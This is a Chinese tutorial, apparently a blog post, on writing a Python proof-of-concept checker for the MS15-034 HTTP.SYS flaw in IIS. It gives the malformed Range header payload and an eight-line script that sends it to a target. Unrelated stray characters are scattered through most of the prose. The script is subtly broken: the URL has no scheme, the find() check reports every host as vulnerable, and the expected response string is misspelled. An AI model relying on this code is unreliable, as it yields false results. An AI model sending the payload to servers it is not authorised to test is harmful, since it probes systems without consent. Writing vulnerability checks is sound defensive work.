作為單位的網(wǎng)絡(luò)安全管理員为牍,經(jīng)常會(huì)遇到這樣的情況,某些漏洞在互聯(lián)網(wǎng)上被批露后岩馍,在用的掃描工具卻無(wú)法及時(shí)集成。
遇到這種情況抖韩,領(lǐng)導(dǎo)會(huì)說(shuō):“自己想辦法蛀恩,抓緊檢測(cè)是否有這個(gè)漏洞∶。”很多人會(huì)告訴你可以用自行編寫(xiě)Poc這個(gè)方法双谆,指的就是根據(jù)漏洞的簡(jiǎn)單原理寫(xiě)出對(duì)應(yīng)的漏洞檢測(cè)代碼壳咕,用來(lái)驗(yàn)證漏洞是否存在。那么如何編寫(xiě)Poc呢顽馋?可能你會(huì)把它想象的無(wú)比困難谓厘。
Python的出現(xiàn),極大簡(jiǎn)化了Poc的編寫(xiě)過(guò)程寸谜,我們不需要再把時(shí)間浪費(fèi)在網(wǎng)絡(luò)連接竟稳、發(fā)送HTTP數(shù)據(jù)等繁瑣的雜事上。以15年打擊面最廣的“HTTP.SYS遠(yuǎn)程執(zhí)行代碼漏洞”(ms15-034)為例熊痴,編寫(xiě)Poc只需要兩個(gè)步驟他爸。
第一步:簡(jiǎn)單了解漏洞觸發(fā)機(jī)制
在網(wǎng)上可以搜索到,這個(gè)漏洞觸發(fā)機(jī)制就是:使用IIS作為WEB容器可能存在編號(hào)為MS-15034的遠(yuǎn)程代碼執(zhí)行漏洞果善,可以發(fā)送測(cè)試代碼诊笤,若返回“Requested Range Not Satisfiable”則證明存在此漏洞。
下面就是被公布的測(cè)試代碼:
Host: stuff
Range: bytes=0-" + hexAllFfff
簡(jiǎn)單來(lái)說(shuō)巾陕,要驗(yàn)證是否存在漏洞讨跟,只要把測(cè)試代碼發(fā)送到目標(biāo)服務(wù)器上,進(jìn)行驗(yàn)證即可鄙煤,而這就是利用Python編寫(xiě)Web漏洞檢測(cè)工具(Poc)的過(guò)程晾匠。
第二步:用Python編寫(xiě)漏洞檢測(cè)具體代碼
代碼只有8行,我進(jìn)行了詳細(xì)注釋馆类,直接貼出來(lái)混聊。
import requests # 發(fā)送web請(qǐng)求所需的庫(kù)
url = '127.0.0.1' # 需要測(cè)試的服務(wù)器IP
payload = {'Host':'stuff','Range':'bytes=0-18446744073709551615'} # 測(cè)試代碼
r1 = requests.get(url, headers=payload) #發(fā)送測(cè)試代碼
if str(r1.content).find('Requested Range Not Satisfialbe'): # 檢查返回結(jié)果
print('{}有ms15-034漏洞'.format(url))
else:
print('{}不存在ms15-034漏洞'.format(url))
簡(jiǎn)單兩步加上8行代碼,就完成了一個(gè)ms15-034漏洞檢測(cè)工具乾巧。當(dāng)然句喜,實(shí)際應(yīng)用還有很多需要完善的地方,那就自己動(dòng)手吧